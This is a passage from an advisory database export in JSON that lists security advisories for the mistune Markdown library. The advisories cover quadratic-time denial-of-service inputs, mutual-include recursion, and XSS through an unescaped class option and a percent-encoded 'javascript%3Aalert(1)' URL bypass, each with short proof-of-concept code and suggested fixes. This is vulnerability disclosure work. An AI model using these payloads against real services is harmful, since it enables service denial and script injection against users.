markers as literal text, do not invoke the\n+        # forward-scan to find a close\n+        ...\n```\n\nA regression test should assert that `md('~~x~~' * 50_000)` completes in under 1 second. The same fix shape applies to `_MARK_END` and `_INSERT_END`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:34:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/lepture/mistune/security/advisories/GHSA-c8j7-8cv4-2xmq","https://nvd.nist.gov/vuln/detail/CVE-2026-59922","https://github.com/lepture/mistune/commit/96d0f57f8fe9eeb06bb4cff521962a27d7c402e7","https://github.com/lepture/mistune/releases/tag/v3.3.0","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2210.yaml","https://github.com/advisories/GHSA-c8j7-8cv4-2xmq"],"source_kind":"github","identifiers":["GHSA-c8j7-8cv4-2xmq","CVE-2026-59922"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.023Z","updated_at":"2026-10-26T21:02:11.202Z","epss_percentage":0.00644,"epss_percentile":0.5057,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOGo3LThjdjQtMnhtcc4ABcQr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jOGo3LThjdjQtMnhtcc4ABcQr","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c 3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOGo3LThjdjQtMnhtcc4ABcQr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nOTd4LWd2Y20teDcyaM4ABcQq","url":"https://github.com/advisories/GHSA-g97x-gvcm-x72h","title":"Mistune: XSS via unescaped class option in Admonition directive","description":"In `src/mistune/directives/admonition.py`, the `render_admonition()` function concatenates the `:class:` option directly into the HTML class attribute without escaping (lines 63-68).\n\nThis allows attribute injection and XSS even when `HTMLRenderer(escape=True)` is used.\n\nThe directive name parameter is safe (validated against whitelist), but the class option comes from raw user input.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T21:34:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-g97x-gvcm-x72h","https://nvd.nist.gov/vuln/detail/CVE-2026-59926","https://github.com/lepture/mistune/commit/a3cb6e5655308797e8be021d6c7b5bab13cbace2","https://github.com/lepture/mistune/releases/tag/v3.2.1","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2214.yaml","https://github.com/advisories/GHSA-g97x-gvcm-x72h"],"source_kind":"github","identifiers":["GHSA-g97x-gvcm-x72h","CVE-2026-59926"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.023Z","updated_at":"2026-10-26T21:02:11.202Z","epss_percentage":0.00327,"epss_percentile":0.25545,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nOTd4LWd2Y20teDcyaM4ABcQq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nOTd4LWd2Y20teDcyaM4ABcQq","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c 3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nOTd4LWd2Y20teDcyaM4ABcQq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04YzI1LTRqMjctMnJ2M84ABcQp","url":"https://github.com/advisories/GHSA-8c25-4j27-2rv3","title":"Mistune: XSS via percent-encoded javascript URI bypass in safe_url()","description":"### Summary\nAn XSS vulnerability in Mistune allows bypassing of safe_url() protections via percent-encoded javascript URIs.\n\n\n### Details\nThe vulnerability exists in HTMLRenderer.safe_url() in Mistune.\n\nThe function is intended to block harmful URL schemes such as \"javascript:\" by checking the prefix of the provided URL:\n\n    _url = url.lower()\n    if _url.startswith(self.HARMFUL_PROTOCOLS):\n        return \"#harmful-link\"\n\nHowever, the input URL is not URL-decoded before this check. Because of this, an attacker can use percent-encoding to bypass the filter. For example:\n\n    javascript%3Aalert(1)\n\nSince \"%3A\" is not decoded to \":\", the check does not detect the \"javascript:\" scheme.\n\nWhen rendered in a browser, the URL is decoded, resulting in execution of arbitrary JavaScript upon user interaction.\n\nThis effectively bypasses Mistune's built-in safe_url() protection mechanism.\n\n\n\n### PoC\n1. Install vulnerable version:\n\n    pip install mistune==3.2.0\n\n2. Run the following code:\n\n    import mistune\n\n    markdown = mistune.create_markdown()\n    html = markdown(\"[j](javascript%3Aalert(1))\")\n\n    print(html)\n\n3. Output:\n\n    \u003cp\u003e\u003ca href=\"javascript%3Aalert(1)\"\u003ej\u003c/a\u003e\u003c/p\u003e\n\n4. Open the rendered HTML in a browser and click the link.\n\n5. The browser decodes \"%3A\" into \":\" and executes:\n\n    javascript:alert(1)\n\n\n### Impact\nThis is a cross-site scripting (XSS) vulnerability.\n\nAn attacker can craft a malicious Markdown link that executes JavaScript in the victim's browser when clicked.\n\nImpact includes:\n- Session hijacking (e.g., cookie theft)\n- Execution of arbitrary JavaScript in the victim's context\n- Potential account takeover depending on the application\n\nThis affects any application that renders user-controlled Markdown using Mistune without additional URL sanitization.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T21:32:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-8c25-4j27-2rv3","https://nvd.nist.gov/vuln/detail/CVE-2026-59923","https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc","https://github.com/lepture/mistune/releases/tag/v3.3.0","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2211.yaml","https://github.com/advisories/GHSA-8c25-4j27-2rv3"],"source_kind":"github","identifiers":["GHSA-8c25-4j27-2rv3","CVE-2026-59923"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.023Z","updated_at":"2026-11-05T13:02:38.213Z","epss_percentage":0.00348,"epss_percentile":0.28563,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzI1LTRqMjctMnJ2M84ABcQp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04YzI1LTRqMjctMnJ2M84ABcQp","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c 3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzI1LTRqMjctMnJ2M84ABcQp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00ajMyLTU3djYtNmc0Nc4ABcQo","url":"https://github.com/advisories/GHSA-4j32-57v6-6g45","title":"Mistune inline_parser: quadratic-time parsing on long runs of `**x**` and `***x***` emphasis pairs","description":"## Summary\n\n**Type:** Algorithmic-complexity DoS in core emphasis parsing. A long sequence of well-formed `**x**` (strong) or `***x***` (strong-emphasis combined) pairs causes O(N²) parser work. Distinct from the bracket-bomb DoS (`[` repetition) and from the formatting-plugin DoS (`~~`/`==`/`^^`); this one fires on default-config mistune with no plugins required.\n**File:** `src/mistune/inline_parser.py` lines 41-48 (the `EMPHASIS_END_RE` family) and the surrounding emphasis dispatch.\n**Root cause:** for every opening run of `*`s the parser scans forward using one of `EMPHASIS_END_RE['*']` / `['**']` / `['***']` to find the matching close. Each scan is bounded per call, but the parser invokes the scan from every potential start position. For input shaped `**x**` repeated N times, every `**` is treated as a potential start, each scan can cover up to the end of input. Total work is O(N²). The triple-emphasis variant `***x***` is slightly worse due to the extra alternation between `*`, `**`, and `***` close patterns. Reproducible against default mistune with no plugins.\n\n## Affected Code\n\n**File:** `src/mistune/inline_parser.py`, lines 41-48.\n\n```python\nEMPHASIS_END_RE = {\n    \"*\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*(?!\\*)\"),\n    \"_\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])_(?!_)\\b\"),\n    \"**\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*\\*(?!\\*)\"),\n    \"__\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])__(?!_)\\b\"),\n    \"***\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*\\*\\*(?!\\*)\"),\n    \"___\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])___(?!_)\\b\"),\n}\n# Each of the six end-patterns is invoked from every emphasis open position\n# fired by the inline rule `r\"\\*{1,3}(?=[^\\s*])|\\b_{1,3}(?=[^\\s_])\"`. The\n# scan itself is bounded per call; the cost comes from the parser invoking\n# the scan at every matching open marker, giving O(N²) total work.\n```\n\n**Why it's wrong:** same shape as the formatting-plugin and bracket-bomb DoS findings. The CommonMark reference parser handles emphasis in linear time using a delimiter-stack algorithm (`commonmark.js`, `commonmark-py`, `markdown-it-py` all do this). mistune retries the close-scan from each open marker. The bounded regex is not enough; the surrounding loop is the source of the quadratic.\n\n## Exploit Chain\n\n1. Application uses mistune to render user-supplied markdown. No plugins required — affects the default `mistune.create_markdown()` configuration.\n2. Attacker submits a 40 KB payload of `**x**` repeated 8000 times.\n3. Server CPU pegs for ~4 seconds; 16 KB → ~17 seconds. Doubling input quadruples time.\n4. Repeating the request floods the worker pool.\n\n## Security Impact\n\n**Severity:** sec-high. Network-reachable, no authentication, no plugin requirement. Default mistune is vulnerable.\n**Attacker capability:** O(N²) CPU cost from a single small input. Predictable scaling, easy to combine with concurrent requests for service denial.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. No plugins required.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()                     # no plugins\nfor n in [500, 1000, 2000, 4000, 8000]:\n    s = '**x**' * n\n    t = time.time()\n    md(s)\n    print(f'  **x** * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   **x** *  500  (2500b):    20ms\n#   **x** * 1000  (5000b):    74ms\n#   **x** * 2000 (10000b):   284ms\n#   **x** * 4000 (20000b):  1079ms\n#   **x** * 8000 (40000b):  4309ms\n\n# Triple-emphasis is similar:\nmd('***x***' * 4000)   # ~1500ms\n\n# Linear in N for non-emphasis input of comparable size:\nmd('xxxxx' * 8000)     # 1ms (4000x faster)\n```\n\nThe patched build (with the suggested fix below — delimiter-stack rewrite or hard cap on simultaneous open markers) keeps the time linear in N.\n\n## Suggested Fix\n\nCap the number of unmatched opening emphasis markers the parser will track simultaneously, treating the rest as literal text:\n\n```diff\n--- a/src/mistune/inline_parser.py\n+++ b/src/mistune/inline_parser.py\n@@ ... in the emphasis-handling code path\n+    # Bound the number of open emphasis markers tracked. CommonMark gives\n+    # no semantics to deeply nested unmatched emphasis; this cap turns the\n+    # parser-level O(N^2) into O(N) for adversarial inputs while preserving\n+    # behaviour on every realistic markdown document.\n+    MAX_OPEN_EMPHASIS = 100\n+    if open_emphasis_count \u003e MAX_OPEN_EMPHASIS:\n+        # treat remaining * / _ as literal text\n+        ...\n```\n\nThe proper fix is a delimiter-stack pass, the same approach the formatting-plugin advisory and the bracket-bomb advisory recommend. All three DoS findings share the same algorithmic pattern; a single rewrite of the inline-token retry loop closes them together. Add a regression test asserting that `md('**x**' * 50_000)` completes in under 1 second.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:32:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/lepture/mistune/security/advisories/GHSA-4j32-57v6-6g45","https://nvd.nist.gov/vuln/detail/CVE-2026-59925","https://github.com/lepture/mistune/commit/5de41fb8e527004dbc363e047a3c380c9288c74f","https://github.com/lepture/mistune/releases/tag/v3.3.0","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2213.yaml","https://github.com/advisories/GHSA-4j32-57v6-6g45"],"source_kind":"github","identifiers":["GHSA-4j32-57v6-6g45","CVE-2026-59925"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.023Z","updated_at":"2026-10-26T21:02:11.203Z","epss_percentage":0.00644,"epss_percentile":0.5057,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ajMyLTU3djYtNmc0Nc4ABcQo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00ajMyLTU3djYtNmc0Nc4ABcQo","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c 3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ajMyLTU3djYtNmc0Nc4ABcQo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bXBqLW02cW0tNXFyOM4ABcQB","url":"https://github.com/advisories/GHSA-8mpj-m6qm-5qr8","title":"Mistune directives/include: mutual `.. include::` recursion crashes the renderer with `RecursionError`, denial of service via two attacker-controlled markdown files","description":"## Summary\n\n**Type:** Uncontrolled recursion via mutual include. The `Include` directive checks for direct self-reference (`a.md` cannot include `a.md`), but does not detect indirect cycles. Two markdown files that include each other (`a.md` → includes `b.md` → includes `a.md`) cause unbounded recursion until Python's stack limit fires `RecursionError`. The exception propagates out of the renderer and crashes the calling code.\n**File:** `src/mistune/directives/include.py`, lines 33-37 (the self-include check is the only cycle-detection logic).\n**Root cause:** the include logic only compares `os.path.abspath(dest) == os.path.abspath(source_file)`. There is no per-render set of \"files already included\" that would catch transitive cycles. When `a.md` includes `b.md`, the recursive `block.parse(new_state)` call uses `dest` (b.md) as the new `__file__`, which then includes `a.md` (passing the self-check, because the immediate parent file is `b.md`, not `a.md`), which then includes `b.md`, and so on. Each recursion level adds Python frames; the default stack limit of 1000 frames trips after ~7-10 cycle iterations and Python raises `RecursionError`. Since the directive does not catch the exception, it propagates out of `Markdown.parse()` and surfaces in the calling code, crashing the request.\n\n## Affected Code\n\n**File:** `src/mistune/directives/include.py`, lines 28-54.\n\n```python\nrelpath = self.parse_title(m)\ndest = os.path.join(os.path.dirname(source_file), relpath)\ndest = os.path.normpath(dest)\n\nif os.path.abspath(dest) == os.path.abspath(source_file):       # \u003c-- only catches direct self-include\n    return {\"type\": \"block_error\", \"raw\": \"Could not include self: \" + relpath}\n\nif not os.path.isfile(dest):\n    return {\"type\": \"block_error\", \"raw\": \"Could not find file: \" + relpath}\n\nwith open(dest, \"rb\") as f:\n    content = f.read().decode(encoding)\n\next = os.path.splitext(relpath)[1]\nif ext in {\".md\", \".markdown\", \".mkd\"}:\n    new_state = block.state_cls()\n    new_state.env[\"__file__\"] = dest\n    new_state.process(content)\n    block.parse(new_state)                                       # \u003c-- recursive parse, no cycle tracking\n    return new_state.tokens\n```\n\n**Why it's wrong:** the cycle-detection check is one level deep. Multi-file cycles slip through trivially. Python's default recursion limit is 1000 frames, so a cycle of length 2 trips after a few hundred mutual includes; the exception is uncaught by the directive, propagating out of `Markdown.__call__()` and crashing whatever called it.\n\n## Exploit Chain\n\n1. Application uses mistune with the `Include` directive enabled. Application accepts user-supplied markdown files (CMS, wiki, multi-user documentation platform, note-taking app, CI/CD doc renderer).\n2. Attacker uploads two markdown files:\n   - `a.md`: `.. include:: b.md`\n   - `b.md`: `.. include:: a.md`\n3. Renderer is invoked on `a.md` (or any markdown that references this pair). `Include` directive includes `b.md`, which includes `a.md`, which includes `b.md`, ... Each recursion adds Python frames.\n4. After ~340 cycle iterations (depending on default `sys.setrecursionlimit(1000)` and the per-include frame depth), Python raises `RecursionError: maximum recursion depth exceeded`.\n5. The exception is not caught by the directive. It propagates through `block.parse`, through `Markdown.__call__`, and into the application's request handler. If the application doesn't catch it explicitly, the request errors out (HTTP 500 in web contexts, crash in CLI tools).\n\n## Security Impact\n\n**Attacker capability:** crash the rendering engine on demand by submitting any markdown that triggers the cycle. Repeated requests deny service. If the renderer is used in a hot path (per-page-view docs rendering, search-index regeneration, scheduled doc-export jobs), the cycle persists across the whole pipeline.\n**Preconditions:** application uses mistune with the `Include` directive enabled and renders user-supplied markdown that can reference other user-uploaded files. Attacker needs write access to two .md files in the include search path (or a single file including a known-recurring pair).\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport os, mistune\nfrom mistune.directives import RSTDirective, Include\n\nos.makedirs('/tmp/mistune-recur', exist_ok=True)\nwith open('/tmp/mistune-recur/a.md', 'w') as f:\n    f.write('A\\n\\n.. include:: b.md')\nwith open('/tmp/mistune-recur/b.md', 'w') as f:\n    f.write('B\\n\\n.. include:: a.md')\n\nmd = mistune.create_markdown(plugins=[RSTDirective([Include()])])\nstate = md.block.state_cls()\nstate.env['__file__'] = '/tmp/mistune-recur/a.md'\nmd.parse('.. include:: b.md', state=state)\n# RecursionError: maximum recursion depth exceeded\n```\n\nThe patched build (with the suggested fix below) returns a `block_error` token like the existing self-include check, instead of recursing forever.\n\n## Suggested Fix\n\nTrack included paths in `state.env` and reject any include that would re-enter a path already on the include stack:\n\n```diff\n--- a/src/mistune/directives/include.py\n+++ b/src/mistune/directives/include.py\n@@ -28,8 +28,18 @@ class Include(DirectivePlugin):\n         relpath = self.parse_title(m)\n-        dest = os.path.join(os.path.dirname(source_file), relpath)\n-        dest = os.path.normpath(dest)\n+        base = os.path.realpath(os.path.dirname(source_file))\n+        dest = os.path.realpath(os.path.join(base, relpath))\n+\n+        # Track include stack across recursive parses to detect cycles.\n+        include_stack = state.env.setdefault(\"__include_stack__\", [])\n+        if dest in include_stack or dest == os.path.realpath(source_file):\n+            return {\n+                \"type\": \"block_error\",\n+                \"raw\": \"Could not include (cycle): \" + relpath,\n+            }\n\n-        if os.path.abspath(dest) == os.path.abspath(source_file):\n-            return {\n-                \"type\": \"block_error\",\n-                \"raw\": \"Could not include self: \" + relpath,\n-            }\n@@ ... in the markdown-include branch ...\n+        include_stack.append(dest)\n+        try:\n+            new_state = block.state_cls()\n+            new_state.env[\"__file__\"] = dest\n+            new_state.env[\"__include_stack__\"] = include_stack\n+            new_state.process(content)\n+            block.parse(new_state)\n+            return new_state.tokens\n+        finally:\n+            include_stack.pop()\n```\n\nThis catches cycles of any length (`a → b → a`, `a → b → c → a`, etc.). Pair this with the path-containment fix from the LFI advisory and the HTML-extension fix from the include-XSS advisory; together those three patches make the `Include` directive safe to enable on user-supplied markdown.\n\nAdd a regression test asserting that a 2-cycle and a 3-cycle both produce `block_error` rather than `RecursionError`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T21:24:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/lepture/mistune/security/advisories/GHSA-8mpj-m6qm-5qr8","https://nvd.nist.gov/vuln/detail/CVE-2026-59927","https://github.com/lepture/mistune/commit/1bef343ade163fc3bb95572b15be720084cdb993","https://github.com/lepture/mistune/releases/tag/v3.3.0","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2215.yaml","https://github.com/advisories/GHSA-8mpj-m6qm-5qr8"],"source_kind":"github","identifiers":["GHSA-8mpj-m6qm-5qr8","CVE-2026-59927"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.053Z","updated_at":"2026-10-28T20:03:36.557Z","epss_percentage":0.00529,"epss_percentile":0.4456,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bXBqLW02cW0tNXFyOM4ABcQB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bXBqLW02cW0tNXFyOM4ABcQB","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c 3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bXBqLW02cW0tNXFyOM4ABcQB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZnEzLXhwdjMtajkycc4ABcQA","url":"https://github.com/advisories/GHSA-ffq3-xpv3-j92q","title":"Mistune block_parser: quadratic-time parsing on long lists of repeated reference-link definitions","description":"## Summary\n\n**Type:** Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N²) parser time. 5000 repeated `[a]: u\\n` definitions take ~1.1 second; 10000 → ~4.5 seconds.\n**File:** `src/mistune/block_parser.py` (reference-link def parsing) and the surrounding `ref_links` env-dictionary handling.\n**Root cause:** every reference definition is parsed by scanning forward from each candidate position. The `unikey` normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N²).\n\n## Affected Code\n\n`src/mistune/block_parser.py` — reference-definition rule fires on every line that matches `[label]: url`. For each one:\n- `unikey(label)` is called (linear scan of the label).\n- The def is appended to `state.env['ref_links']`.\n- Later inline-link resolution looks up by `unikey(label)` in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.\n\nThe cumulative parse time grows as the square of the number of defs.\n\n**Why it's wrong:** the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).\n\n## Exploit Chain\n\n1. Application uses mistune to render attacker-supplied markdown. No plugins required.\n2. Attacker submits a 35 KB document of `[a]: u\\n` repeated 5000 times followed by `[click][a]`.\n3. CPU pegs for ~1.1 seconds. 10000 defs → ~4.5 s. 20000 → ~18 s. Doubling input quadruples time.\n\n## Security Impact\n\n**Attacker capability:** small input → large CPU. Predictable scaling. Can be repeated.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. Worth noting: the `ref_links` dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()\nfor n in [1000, 2000, 5000, 10000]:\n    s = '[a]: u\\n' * n + '[click][a]'\n    t = time.time()\n    md(s)\n    print(f'  ref defs * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   ref defs *  1000  ( 7012b):    46ms\n#   ref defs *  2000 (14012b):   186ms\n#   ref defs *  5000 (35012b):  1121ms\n#   ref defs * 10000 (70012b):  4400ms\n```\n\nThe patched build (with the surrounding parser amortised to O(N)) keeps the time linear.\n\n## Suggested Fix\n\nReplace the per-def re-scan with a single forward pass that classifies each line into `ref_def | paragraph | other` once and only inserts into `ref_links` once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.\n\nA regression test asserting that `md('[a]: u\\n' * 50_000 + '[click][a]')` completes in under 1 second would catch any regression.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:24:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/lepture/mistune/security/advisories/GHSA-ffq3-xpv3-j92q","https://nvd.nist.gov/vuln/detail/CVE-2026-59928","https://github.com/lepture/mistune/commit/2b04d7ba341c16ac78fe82d3076bdd5c3de87c69","https://github.com/lepture/mistune/releases/tag/v3.3.0","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2216.yaml","https://github.com/advisories/GHSA-ffq3-xpv3-j92q"],"source_kind":"github","identifiers":["GHSA-ffq3-xpv3-j92q","CVE-2026-59928"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-11-11T06:04:05.192Z","epss_percentage":0.00651,"epss_percentile":0.51537,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZnEzLXhwdjMtajkycc4ABcQA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZnEzLXhwdjMtajkycc4ABcQA","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c 3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZnEzLXhwdjMtajkycc4ABcQA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xY3EyLTQ5Nnctdjk2cM4ABac0","url":"https://github.com/advisories/GHSA-qcq2-496w-v96p","title":" Mistune: Potential DoS via quadratic-time parsing in parse_link_text","description":"### Summary\nMistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.\n\n### Affected component\nmistune/inline_parser.py → **parse_link_text**\n\n### Description\nWhen parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior.\nAn attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.\n\n### Root cause\nThe vulnerability stems from a two-loop interaction:\n- The outer loop in `InlineParser.parse()` (inline_parser.py) advances \n  only 1 character at a time when parse_link() returns None\n- Each failed attempt calls `parse_link_text()` which performs an O(n) \n  scan to the end of the string looking for a closing `]`\n- With n consecutive `[` characters, this results in O(n) × O(n) = O(n²) \n  total work\n\n### PoC\nRun below python script\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\ns = \"[\" * 6400\n\nt = time.perf_counter()\nmd(s)\nprint(time.perf_counter() - t)\n```\n\u003cimg width=\"2028\" height=\"1277\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06\" /\u003e\n\n**Benmark poc**\nRun below code for benchmark\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\nsizes = [100,200,400,800,1600,3200,6400]\n\nfor n in sizes:\n    s = \"[\" * n\n\n    t0 = time.perf_counter()\n    md(s)\n    dt = time.perf_counter() - t0\n\n    print(f\"{n:6d} {dt:.6f}\")\n```\n\u003cimg width=\"2503\" height=\"1341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e\" /\u003e\n\n\n### Observed behaviour\n```\npython3 benchmark.py \n   100 0.001609\n   200 0.003207\n   400 0.012906\n   800 0.050220\n  1600 0.197307\n  3200 0.801172\n  6400 3.190393\n```\nExecution time grows superlinearly, consistent with O(n²) complex\n\n### Impact\nThis can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:\n\n- Web applications (comments, posts, content rendering)\n- API services processing Markdown\n- Documentation rendering systems\n- A small (~6 KB) payload can block CPU for multiple seconds.\n\n### Suggested fix\nReturn the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time\n\n### Security Classification\nCWE-400: Uncontrolled Resource Consumption\nDenial of Service (CPU exhaustion)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-09T23:52:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-qcq2-496w-v96p","https://nvd.nist.gov/vuln/detail/CVE-2026-49851","https://access.redhat.com/security/cve/CVE-2026-49851","https://bugzilla.redhat.com/show_bug.cgi?id=2492304","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49851.json","https://github.com/advisories/GHSA-qcq2-496w-v96p"],"source_kind":"github","identifiers":["GHSA-qcq2-496w-v96p","CVE-2026-49851"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-10T00:00:10.290Z","updated_at":"2026-11-11T06:04:15.059Z","epss_percentage":0.0052,"epss_percentile":0.44528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xY3EyLTQ5Nnctdjk2cM4ABac0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xY3EyLTQ5Nnctdjk2cM4ABac0","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c 